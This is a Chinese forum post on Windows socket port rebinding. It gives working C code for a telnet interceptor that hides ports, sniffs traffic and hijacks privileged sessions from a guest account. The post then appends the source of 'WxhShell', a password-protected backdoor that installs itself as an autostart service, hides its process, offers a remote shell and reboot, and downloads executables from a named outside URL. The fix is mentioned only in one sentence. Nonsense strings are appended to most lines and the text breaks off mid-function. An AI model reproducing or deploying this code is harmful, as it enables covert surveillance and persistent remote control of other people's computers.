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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K>x+*UPL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v(vJ[_&%  
`R+I(Cb  
  saddr.sin_family = AF_INET; \C eP.,<  
= gbB)u-Pc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xQK;3b  
9/_F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \n`)>-  
AQ` `Dp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jDwLzvM O  
3HI- G.]hC  
  这意味着什么?意味着可以进行如下的攻击: 02F[4c~  
UoSzxL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c>3AR17+5  
F#^<t$5t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H@%Y"iIUP  
W{z{AxS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4IH,:w=ofN  
p ! _\a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &)y$XsSMW  
4UV<Q*B\F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )%T< Mw2u  
M7JQw/,xs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KqNbIw*sR  
]1k"'XG4,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jQIb :\0#  
?5e]^H}  
  #include ,9@JBV%_  
  #include U'K{>"~1a  
  #include !CO1I-yL  
  #include    HX&G  k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~R!M.gY[rK  
  int main() y +2  
  { ]#*S.  r]  
  WORD wVersionRequested; 2\/,X CQV  
  DWORD ret;  5gZ6H/.  
  WSADATA wsaData; ]:X# w0UR  
  BOOL val; <*'%Xgm  
  SOCKADDR_IN saddr; $wBF'|eU  
  SOCKADDR_IN scaddr; znxP.=GB   
  int err; ]dj W^C]94  
  SOCKET s; {BS}9jZx  
  SOCKET sc; !/;/ X\d  
  int caddsize; &?)? w-$p  
  HANDLE mt; ~#^suy?  
  DWORD tid;   Or9"T]z  
  wVersionRequested = MAKEWORD( 2, 2 ); XVwJr""+  
  err = WSAStartup( wVersionRequested, &wsaData ); ;p_@%*JAx  
  if ( err != 0 ) { QO&{Jx.^[  
  printf("error!WSAStartup failed!\n"); =]swhF+l-  
  return -1; , A@uSfC(  
  } o6 l CP&  
  saddr.sin_family = AF_INET; fC7rs5  
   $t{;- DpNB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :fx^{N!T  
>L_nu.x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *\!>22*  
  saddr.sin_port = htons(23); RcG 1J7#i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xxS>O%  
  { Pn|;VCh  
  printf("error!socket failed!\n"); :{Mr~Co*  
  return -1; Q 2mTu[tx  
  } 7XU$O$C  
  val = TRUE; ??u*qO:p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Wp2$L-T&$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _< LJQ  
  { tP0\;W  
  printf("error!setsockopt failed!\n"); E'ay @YAp  
  return -1; ;if PqL kO  
  } wdo(K.m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P1u(0t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  2.>aL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M8{J  
{IgL H`@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MX )mm^A  
  { ;b6h/*;'  
  ret=GetLastError(); ALY3en9,  
  printf("error!bind failed!\n"); 4A {6)<e  
  return -1; q4y sTm  
  } )kpNg:2p  
  listen(s,2); T?+%3z}8  
  while(1) bCL/"OB  
  { 3"O&IY<  
  caddsize = sizeof(scaddr); =73aME}  
  //接受连接请求 h%UM<TZ]"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kIwq%c;  
  if(sc!=INVALID_SOCKET) \~BYY|UB;W  
  { s$D"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gCL?{oVU  
  if(mt==NULL) vKFEA7  
  { r"&uW !~0  
  printf("Thread Creat Failed!\n"); %+ : $uk[  
  break; h2P&<ggqX  
  } X@pcL{T!  
  } LF X[v   
  CloseHandle(mt); \f-@L;8#  
  } C-sFTf7  
  closesocket(s); #\ l#f8(l  
  WSACleanup(); nJ2910"<  
  return 0; q5G`N>"V  
  }   O[j$n  
  DWORD WINAPI ClientThread(LPVOID lpParam) +|6E~#zklY  
  { Sah!|9  
  SOCKET ss = (SOCKET)lpParam; 9yYNX;C  
  SOCKET sc; +#Ga} e CM  
  unsigned char buf[4096]; O^DLp/vM  
  SOCKADDR_IN saddr; UXPF"}S2  
  long num; XYze*8xUb  
  DWORD val; )u=46EU_  
  DWORD ret; E^C [G)7n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 08_<G`r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZfU &X{  
  saddr.sin_family = AF_INET; _ 5/3RN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :4x&B^,53  
  saddr.sin_port = htons(23); @g] >D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7? ]wAH89  
  { S9E<)L  
  printf("error!socket failed!\n"); ;%mdSaf  
  return -1; ?OBB)hj  
  } &\W5|*`x-  
  val = 100; gJg%3K~,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )(h<vo)-zX  
  { ,!bcm  
  ret = GetLastError(); yHnN7&  
  return -1; BYZllwxwTE  
  } 98Im/v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l:(?|1_  
  { 2>vn'sXdj  
  ret = GetLastError(); X<uH [  
  return -1; ?MD\\gN  
  } oR}'I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1Ba.'~:  
  { keS%w]87  
  printf("error!socket connect failed!\n"); jTN!\RH9NF  
  closesocket(sc); lTZcbaO?]  
  closesocket(ss); rp!>rM] s  
  return -1; E@8&#<  
  } 0c]3 ,#  
  while(1) ;|.IUXEgcF  
  { "FXT8Qxg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bX`VIFc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ombvp;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K~ VUD(  
  num = recv(ss,buf,4096,0); p 4Y 2AQ9  
  if(num>0) .!Os'Y9[,  
  send(sc,buf,num,0); ILT.yxV  
  else if(num==0) =Cp}iM  
  break; UP@-@syGw  
  num = recv(sc,buf,4096,0); S*a_  
  if(num>0) /@9-D 4  
  send(ss,buf,num,0); "uD^1'IW2  
  else if(num==0) ?Q/9aqHe;  
  break; #3((f[  
  } :\,3=suWq  
  closesocket(ss); S@eI3Pk E  
  closesocket(sc); 5# $5ct  
  return 0 ; S<DS|qOo  
  } r^!P=BS{  
M UqV$#4@I  
~ H $q  
========================================================== ntEf-x<  
5Y(f7,JX  
下边附上一个代码,,WXhSHELL H8?Kgaj~vf  
c!=^C/5Ee  
========================================================== &HYs^|ydrr  
L }&$5KiwV  
#include "stdafx.h" wEJ?Y8  
($Y6hn+  
#include <stdio.h> a%)-iL X8&  
#include <string.h> |T^c(RpOE  
#include <windows.h> *8j2iu-|  
#include <winsock2.h> %SD=3UK6  
#include <winsvc.h> nh+f,HtSt  
#include <urlmon.h> . [5{  
"jEf$]  
#pragma comment (lib, "Ws2_32.lib") 'U3+'du^8  
#pragma comment (lib, "urlmon.lib") pTk1iGfB  
:{KoZd  
#define MAX_USER   100 // 最大客户端连接数 {;XO'  
#define BUF_SOCK   200 // sock buffer aC=D_JJ\  
#define KEY_BUFF   255 // 输入 buffer VJ$UpqVm  
rg{|/ ;imT  
#define REBOOT     0   // 重启 >6"u{Qmr  
#define SHUTDOWN   1   // 关机 0s8w)%4$  
1VC:o]$  
#define DEF_PORT   5000 // 监听端口 "=9kX`(1y  
[p# }=&d  
#define REG_LEN     16   // 注册表键长度 h$~ \to$C  
#define SVC_LEN     80   // NT服务名长度 B M$+r(#t  
6_h'0~3?`  
// 从dll定义API Zjx:1c= b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "iY=1F"\R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OFe?T\dQn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b 6B5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kt3 ]r:&J  
/vLdm-4  
// wxhshell配置信息 D<d4"*qo  
struct WSCFG { o0'!u  
  int ws_port;         // 监听端口 K6l{wyMb|  
  char ws_passstr[REG_LEN]; // 口令 3/q) %Z^=  
  int ws_autoins;       // 安装标记, 1=yes 0=no lboi\GP|  
  char ws_regname[REG_LEN]; // 注册表键名 _wKaFf  
  char ws_svcname[REG_LEN]; // 服务名 nVt,= ?_ U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c;dMXv   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $06[D91'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _rU%DL?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c_#+xGS!7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yhpeP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;9rS[$^$O  
zZax![Z  
}; b,Vg3BS  
',Q|g^rF]  
// default Wxhshell configuration m=hUHA,p4  
struct WSCFG wscfg={DEF_PORT, }[>X}"_e  
    "xuhuanlingzhe", %P2l@}?a  
    1, yxx'g+D*  
    "Wxhshell", T7bD t  
    "Wxhshell", RU_wr<  
            "WxhShell Service", ,p\:Z3{ZH  
    "Wrsky Windows CmdShell Service", ^L@2%}6b`  
    "Please Input Your Password: ", #oX8EMqs<  
  1, t) :'XGk@  
  "http://www.wrsky.com/wxhshell.exe", 5SNa~ kC&  
  "Wxhshell.exe" 4,]z  
    }; x<fF1];  
+338z<'Z!  
// 消息定义模块 4{rqGC /  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !F|#TETrt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $%P?2g"j,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1R+/T  
char *msg_ws_ext="\n\rExit."; FP_q?=~rFs  
char *msg_ws_end="\n\rQuit."; qLYz-P'ik  
char *msg_ws_boot="\n\rReboot..."; dz>2/'  
char *msg_ws_poff="\n\rShutdown..."; D,l&^diz  
char *msg_ws_down="\n\rSave to "; 9z$fDs}.q  
 h/*q +H  
char *msg_ws_err="\n\rErr!"; ,|RN?1?U  
char *msg_ws_ok="\n\rOK!"; L]kd.JJvy  
r&/M')}?Lw  
char ExeFile[MAX_PATH]; 9{KL^O?g  
int nUser = 0; \~!!h.xR  
HANDLE handles[MAX_USER]; TF1,7Qd  
int OsIsNt; ^tTASK  
Nr,Q u8  
SERVICE_STATUS       serviceStatus; cM hBOm*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E;tEmGf6F  
y2{uEbA  
// 函数声明 /L yoTBG  
int Install(void); BtA_1RO  
int Uninstall(void); lPyY  
int DownloadFile(char *sURL, SOCKET wsh); 5w+KIHhN|  
int Boot(int flag); r&y0`M  
void HideProc(void); 31^Jg  
int GetOsVer(void); qC x|}5:  
int Wxhshell(SOCKET wsl); Kt#_Ln_6  
void TalkWithClient(void *cs); M(/ATOJ(  
int CmdShell(SOCKET sock); W2Ik!wEe&  
int StartFromService(void); "\k| Z  
int StartWxhshell(LPSTR lpCmdLine); JuKG#F#,  
|W#(+m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Lc{SR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yt@7l]I  
2Wn*J[5  
// 数据结构和表定义 T@%\?=P  
SERVICE_TABLE_ENTRY DispatchTable[] = ?yc{@|  
{ v6M4KC2?  
{wscfg.ws_svcname, NTServiceMain}, y<g1q"F  
{NULL, NULL} ZQk!Ia7  
}; ('k9XcTPP  
q S qS@+p  
// 自我安装 xWnOOE$i  
int Install(void) xt&4]M V  
{ H[_i=X3-~  
  char svExeFile[MAX_PATH];  mPL0s  
  HKEY key; W=:AOBK  
  strcpy(svExeFile,ExeFile); C<Z{G%Qm  
U EjP`  
// 如果是win9x系统,修改注册表设为自启动 ;aN_!! r  
if(!OsIsNt) { 5MCnGg@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ve]hE}o/}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dfP4SJqq  
  RegCloseKey(key); @9tzk [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <I#nwoHN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jQrj3*V  
  RegCloseKey(key); |z7V1xF  
  return 0; hp1+9vEN  
    } -|GKtZ]}  
  } uCr :+"C  
} ?o6X_UxW!  
else { R*=88ds  
AU1U?En  
// 如果是NT以上系统,安装为系统服务 9Vru,7g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GXp`yK9c  
if (schSCManager!=0) 45?% D}  
{ ?g9:xgkF ^  
  SC_HANDLE schService = CreateService d9&   
  ( `/O AgV"`  
  schSCManager, a$j ~YUG_  
  wscfg.ws_svcname, )qRH?Hsb7  
  wscfg.ws_svcdisp, Vel}lQD  
  SERVICE_ALL_ACCESS, %s! |,Cu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H76iBJ66  
  SERVICE_AUTO_START, s IFE:/1,  
  SERVICE_ERROR_NORMAL, g<N;31:c\  
  svExeFile, ^) (-7H  
  NULL, B<Q)z5KK  
  NULL, 0NeIQr1N_  
  NULL, *`q?`#1&&.  
  NULL, ", p5}}/  
  NULL %tMx48'N  
  ); lSg[7lt  
  if (schService!=0) !:PiQ19 'u  
  { -.Blj<2ah  
  CloseServiceHandle(schService); P8(hHuO  
  CloseServiceHandle(schSCManager); ^Z-oO#)h#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uzI=.j  
  strcat(svExeFile,wscfg.ws_svcname); u"uL,w 1-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (3"N~\9m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 57~y 7/0  
  RegCloseKey(key); Ptc+ypTu  
  return 0; -&COI-P8  
    } XEnu0 gr  
  } aeISb83Y|  
  CloseServiceHandle(schSCManager); }T0O~c{$i  
} PY;tu#W!%  
} Khb Ku0Z  
AhD C5ue=  
return 1; jU $G<G  
} sH.=Faos  
z %Bzf~N9  
// 自我卸载 @c-  
int Uninstall(void) +fvD1xHI  
{ ae2Q^yLA  
  HKEY key; lYTQg~aPm  
X$;&Mdo.  
if(!OsIsNt) { |his8\C+x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B>W8pZu-J  
  RegDeleteValue(key,wscfg.ws_regname); 0-uw3U<  
  RegCloseKey(key);  vTgx7gP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x_ /}R3d  
  RegDeleteValue(key,wscfg.ws_regname); n1JtY75#,/  
  RegCloseKey(key); j*5IRzK1%0  
  return 0; $&=xw _  
  } 8PzGUn;\  
} j.ucv  
} qi B~  
else { @)BO`;*$fF  
c:.~%AJx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^nK<t?KS  
if (schSCManager!=0) x9,jXd  
{ .[ }G{%M~[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z)S6f79`Q  
  if (schService!=0) f"KrPx!^b  
  { \XPGA uEo  
  if(DeleteService(schService)!=0) { BY.k.]/  
  CloseServiceHandle(schService); m`9nDiV  
  CloseServiceHandle(schSCManager); f4fBUZ^ A  
  return 0; f-G)pHm  
  } #R{>@]x`  
  CloseServiceHandle(schService); 3*& Y'/!  
  } 0:`|T jf_  
  CloseServiceHandle(schSCManager); :{2~s  
} 0|RofL&o  
} ?+))J~@t  
`0N7Gc  
return 1; J Cq>;br.  
} a3>/B$pE  
:{#O   
// 从指定url下载文件 odSPl{.>d  
int DownloadFile(char *sURL, SOCKET wsh) G0{Z@CvO'  
{ T#H^ }`  
  HRESULT hr; : oXSh;\  
char seps[]= "/"; 4/Y?eUQ  
char *token; J\r\_P@;c  
char *file; ]bJz-6u#:  
char myURL[MAX_PATH]; ?0_<u4  
char myFILE[MAX_PATH]; V D~5]TQ  
\4L ur  
strcpy(myURL,sURL); 0eNdKE  
  token=strtok(myURL,seps); %W"u4 NT7  
  while(token!=NULL) u MEM7$o  
  { vY-CXWC7  
    file=token; CtXbAcN2B  
  token=strtok(NULL,seps); V6X )L>!xx  
  } '< U&8?S  
-BH/)$-$  
GetCurrentDirectory(MAX_PATH,myFILE); ;NR|Hi]  
strcat(myFILE, "\\"); A<ds+0  
strcat(myFILE, file); uYMn VE"  
  send(wsh,myFILE,strlen(myFILE),0); Xj 1Oxm 42  
send(wsh,"...",3,0); :YI5O/gsk?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &h0LWPl  
  if(hr==S_OK) -;7xUNQ  
return 0; r*+~(83k  
else ~=*o  
return 1; 3uocAmY  
z.Ic?Wz7  
} z_!IA ] v  
? `p/jA  
// 系统电源模块 o{G*7V@H  
int Boot(int flag) A$=ny6  
{ :$$~$P  
  HANDLE hToken; nbF<K?  
  TOKEN_PRIVILEGES tkp; =mO5~~"W+v  
J, -.5  
  if(OsIsNt) { c,xdkiy3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {^z73Gxt,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8YFG*HSa  
    tkp.PrivilegeCount = 1; o]q~sJVk6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  u]Ku96!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6sBt6?_T  
if(flag==REBOOT) { mol,iM*l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zr /v.$<  
  return 0; Y"H`+UV  
} Hu"$ )V  
else { 509T?\r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]SCHni_  
  return 0; ^eh.Iml'@  
} Byc;r-Q5V  
  } J'}+0mln  
  else { m$p}cok#+S  
if(flag==REBOOT) { rLsY_7!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9wYm(7M6  
  return 0; ~_fc=^o  
} wa8jr5/k"  
else { pi?/]}:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,~Mf2Y#m0p  
  return 0; N4vcd=uG#  
} EB}B75)x  
} a;xeHbE  
SZF 8InyF  
return 1; ^2~ZOP$A  
} ,)1C"'  
c["1t1G  
// win9x进程隐藏模块 ',r` )9o  
void HideProc(void) LP"g(D2'n  
{ f'oTN!5WF  
g{V(WyT@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?>;aD  
  if ( hKernel != NULL ) G}8tFo. d1  
  { gD9CA*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \6|y~5Hw{r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q`1tUd4G  
    FreeLibrary(hKernel);  ;j26(dH  
  } dHDtY$/_  
3gUY13C}:p  
return; V *@q< rQ  
} _<(xjWp 8  
2nyK'k  
// 获取操作系统版本 G<?RH"RZr  
int GetOsVer(void) Qn$'bK2V  
{ \6wltTW]#  
  OSVERSIONINFO winfo; @rYZ0`E9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +j 9+~  
  GetVersionEx(&winfo); N|yA]dg[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a fa\6]m  
  return 1; =Fz mifTc  
  else 8xLQ" l+"  
  return 0; *|y'%y  
} ww{k_'RRJ  
z:-{Y2F  
// 客户端句柄模块 BQ6$T&  
int Wxhshell(SOCKET wsl) p6- //0qb  
{ gX{j$]^6G8  
  SOCKET wsh; Q#%LIkeq  
  struct sockaddr_in client; SSI> +A  
  DWORD myID; <.ZIhDiEl  
?Z{/0X)]|  
  while(nUser<MAX_USER) E!Q@AZ  
{ i3)3. WK^  
  int nSize=sizeof(client); jwk+&S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8XH;<z<oJ  
  if(wsh==INVALID_SOCKET) return 1; =8l' [  
&}u_e`A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w: BJ4bi=  
if(handles[nUser]==0) ._0$#J S[  
  closesocket(wsh); 5S4Nx>  
else <#:iltO  
  nUser++; oO tjG3B({  
  } &E]) sJ0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2?ue.1C  
+O8[4zn&k  
  return 0; bSIY|/d+  
} N6[Z*5efR  
Zna6-0o  
// 关闭 socket ~;HASHu  
void CloseIt(SOCKET wsh) Kh3i.gm7g  
{ {Vu=qNx  
closesocket(wsh); /uWUQ#9  
nUser--; U9]&KNx  
ExitThread(0); h Wt_}'  
} i|h{<X7[  
ikZYc ${  
// 客户端请求句柄 }!K #  
void TalkWithClient(void *cs) gX!K%qJBg  
{ !S<p"   
SVa^:\"$[  
  SOCKET wsh=(SOCKET)cs; glch06  
  char pwd[SVC_LEN]; bD v& ;Z  
  char cmd[KEY_BUFF]; 8;qOsV)UDT  
char chr[1]; mg*iW55g  
int i,j; !"hlG^*9  
Z84w9y7O<  
  while (nUser < MAX_USER) { d*TH$-F!p  
b|87=1^m[  
if(wscfg.ws_passstr) { 9+(b7L   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %{ U (y#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @^0}wk  
  //ZeroMemory(pwd,KEY_BUFF); !v3d:n\W8  
      i=0; F~v0CBcAL  
  while(i<SVC_LEN) { F4=X(P_6  
Ne9VRM P  
  // 设置超时 c*owP  
  fd_set FdRead; M7qg\1L  
  struct timeval TimeOut; R Q 8"vF#  
  FD_ZERO(&FdRead); x6aVNH=  
  FD_SET(wsh,&FdRead); :2 \NG}  
  TimeOut.tv_sec=8; G$)q% b;Lz  
  TimeOut.tv_usec=0; }Q[U4G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `$"{-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vb\^xdL>  
O4nA ?bA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v#d3W| ~  
  pwd=chr[0]; ^Cp;#|g,  
  if(chr[0]==0xd || chr[0]==0xa) { <DqFfrpc  
  pwd=0; \HD:#a  
  break; Uv k:  
  } "wVisL2+.  
  i++; yTc&C)Jba  
    } HZ(giAyjq  
a"cw%L  
  // 如果是非法用户,关闭 socket {dh@|BzsbH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wu,=jL3?$A  
} #x;d+Q@  
?RE"<L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )3F}IgD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U7LCd+Z 5X  
`MT.<5H  
while(1) { P{RGW.Ci@  
k(`>(w  
  ZeroMemory(cmd,KEY_BUFF); 5-4  
v%#@.D!)  
      // 自动支持客户端 telnet标准   )"Ujx`]4r  
  j=0; f !7fz~&Sh  
  while(j<KEY_BUFF) { *"jlsI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (wH+0  
  cmd[j]=chr[0]; C\[:{d  
  if(chr[0]==0xa || chr[0]==0xd) { #.FhN x  
  cmd[j]=0; ,A#gF_8  
  break; KsTE)@ F:  
  } $LBgBH &z  
  j++; t%y i3  
    } s_Z5M2o  
1q ZnyJ  
  // 下载文件 6d5q<C_3t  
  if(strstr(cmd,"http://")) { iOAn/[^xk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3?k<e  
  if(DownloadFile(cmd,wsh)) P(\x. d:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '0Q/oU  
  else sC f)#6mI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e[Z-&'  
  } [IyC}lSW^-  
  else { aYtW!+#  
K=4|GZ~p}`  
    switch(cmd[0]) { B%x?VOdBE  
  ,=pn}\ R  
  // 帮助 fHuWBC_YO  
  case '?': { D3O)Tj@:}(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -g"Wi@Qr  
    break; |]HA@7B  
  } ?>R(;B|ER  
  // 安装 tI0D{Xrc  
  case 'i': { Dz$dJF1 8  
    if(Install()) OSJL,F,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $|@-u0sv  
    else x=W5e ^0?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h^_2IX  
    break; 6/0bis H  
    } ASSe;+yp  
  // 卸载 F$s:\ N  
  case 'r': { #/t+h#jG  
    if(Uninstall()) h5n@SE>G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nah\4-75&  
    else +wGvY r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uesIkJ^Q[  
    break; Q}^qu6  
    } /.UISArH  
  // 显示 wxhshell 所在路径 FZ FPzH  
  case 'p': { 8qUNh#  
    char svExeFile[MAX_PATH]; D4{<~/oBv  
    strcpy(svExeFile,"\n\r"); I!Fd~g9I4  
      strcat(svExeFile,ExeFile); Vc8w[oS  
        send(wsh,svExeFile,strlen(svExeFile),0); B;<zA' 1  
    break; tt&{f <*  
    } u`*1OqU  
  // 重启 F:Yp1Wrb<  
  case 'b': { k]c$SzJ>/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gg^gK*D  
    if(Boot(REBOOT)) 94lz?-j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'Korxa  
    else { K:$GmV9o  
    closesocket(wsh); ) '/xNR  
    ExitThread(0); XS>( Bu  
    } !H zJ*  
    break; 2\"T&  
    } #Fh:z4  
